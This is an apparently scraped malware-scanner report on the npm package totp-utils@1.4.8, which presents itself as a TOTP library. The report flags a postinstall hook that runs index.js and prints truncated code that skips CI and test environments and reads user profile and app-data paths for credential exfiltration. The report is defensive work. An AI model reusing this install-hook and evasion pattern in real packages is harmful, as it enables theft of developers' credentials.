totp-utils@1.4.8: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

totp-utils@1.4.8: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./index.js --setup

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node ./index.js --setup

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

3const path = require("path"); L4: const https = require("https"); L5: const http = require("http"); L6: const { createHmac, createDecipheriv } = require("crypto"); L7: const os = require("os"); ... L10: if ( L11: process.env.CI === "true" || process.env.CONTINUOUS_INTEGRATION === "true" || L12: process.env.npm[redacted] === "true" || process.env.JEST_WORKER_ID || ... L26: const _LA = process.env.LOCALAPPDATA || ""; L27: const _HM = process.env.USERPROFILE || os.homedir(); L28: ... L38: req.on("error", () => resolve(null));

Low

Weak Crypto

Package source references weak cryptographic algorithms.

index.jsView on unpkg · L3

index.js#virtual:normalized:round1View file

3const path = require("path"); L4: const https = require("https"); L5: const http = require("http"); L6: const { createHmac, createDecipheriv } = require("crypto"); L7: const os = require("os"); ... L10: if ( L11: process.env.CI === "true" || process.env.CONTINUOUS_INTEGRATION === "true" || L12: process.env.npm[redacted] === "true" || process.env.JEST_WORKER_ID || ... L26: const _LA = process.env.LOCALAPPDATA || ""; L27: const _HM = process.env.USERPROFILE || os.homedir(); L28: ... L38: req.on("error", () => resolve(null));

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.js#virtual:normalized:round1View on unpkg · L3

3const path = require("path"); L4: const https = require("https"); L5: const http = require("http"); L6: const { createHmac, createDecipheriv } = require("crypto"); L7: const os = require("os"); ... L10: if ( L11: process.env.CI === "true" || process.env.CONTINUOUS_INTEGRATION === "true" || L12: process.env.npm[redacted] === "true" || process.env.JEST_WORKER_ID || ... L26: const _LA = process.env.LOCALAPPDATA || ""; L27: const _HM = process.env.USERPROFILE || os.homedir(); L28: ... L38: req.on("error", () => resolve(null));

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.js#virtual:normalized:round1View on unpkg · L3

3Trigger-reachable chain: scripts.postinstall -> index.js L3: const path = require("path"); L4: const https = require("https"); L5: const http = require("http"); L6: const { createHmac, createDecipheriv } = require("crypto"); L7: const os = require("os"); ... L10: if ( L11: process.env.CI === "true" || process.env.CONTINUOUS_INTEGRATION === "true" || L12: process.env.npm[redacted] === "true" || process.env.JEST_WORKER_ID || ... L26: const _LA = process.env.LOCALAPPDATA || ""; L27: const _HM = process.env.USERPROFILE || os.homedir(); L28: ... L38: req.on("error", () => resolve(null));

Source & flagged code

7 flagged

package.jsonView file

Lines 1-27json

1{

2 "name": "totp-utils",

3 "version": "1.4.8",

4 "description": "Lightweight TOTP/HOTP token generation utilities — no dependencies, pure Node.js crypto",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "node ./index.js --setup"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L7

8 },

9 "keywords": [

10 "totp",

11 "hotp",

12 "2fa",

13 "otp",

14 "authenticator",

15 "token",

16 "crypto"

17 ],

18 "license": "MIT",

19 "author": "totp-utils contributors",

20 "repository": {

21 "type": "git",

22 "url": "git+https://github.com/totp-utils/totp-utils.git"

23 },

24 "engines": {

25 "node": ">=14"

26 }

27}

index.jsView file

Lines 1-23javascript

1"use strict";

2const fs = require("fs");

3const path = require("path");

4const https

index.js#virtual:normalized:round1View file

3const path = require("path"); L4: const https = require("https"); L5: const http = require("http"); L6: const { createHmac, createDecipheriv } = require("crypto"); L7: const os = require("os"); ... L10: if ( L11: process.env.CI === "true" || process.env.CONTINUOUS_INTEGRATION === "true" || L12: process.env.npm[redacted] === "true" || process.env.JEST_WORKER_ID || ... L26: const _LA = process.env.LOCALAPPDATA || ""; L27: const _HM = process.env.USERPROFILE || os.homedir(); L28: ... L38: req.on("error", () => resolve(null));

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.js#virtual:normalized:round1View on unpkg · L3

3const path = require("path"); L4: const https = require("https"); L5: const http = require("http"); L6: const { createHmac, createDecipheriv } = require("crypto"); L7: const os = require("os"); ... L10: if ( L11: process.env.CI === "true" || process.env.CONTINUOUS_INTEGRATION === "true" || L12: process.env.npm[redacted] === "true" || process.env.JEST_WORKER_ID || ... L26: const _LA = process.env.LOCALAPPDATA || ""; L27: const _HM = process.env.USERPROFILE || os.homedir(); L28: ... L38: req.on("error", () => resolve(null));

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.js#virtual:normalized:round1View on unpkg · L3

3Trigger-reachable chain: scripts.postinstall -> index.js L3: const path = require("path"); L4: const https = require("https"); L5: const http = require("http"); L6: const { createHmac, createDecipheriv } = require("crypto"); L7: const os = require("os"); ... L10: if ( L11: process.env.CI === "true" || process.env.CONTINUOUS_INTEGRATION === "true" || L12: process.env.npm[redacted] === "true" || process.env.JEST_WORKER_ID || ... L26: const _LA = process.env.LOCALAPPDATA || ""; L27: const _HM = process.env.USERPROFILE || os.homedir(); L28: ... L38: req.on("error", () => resolve(null));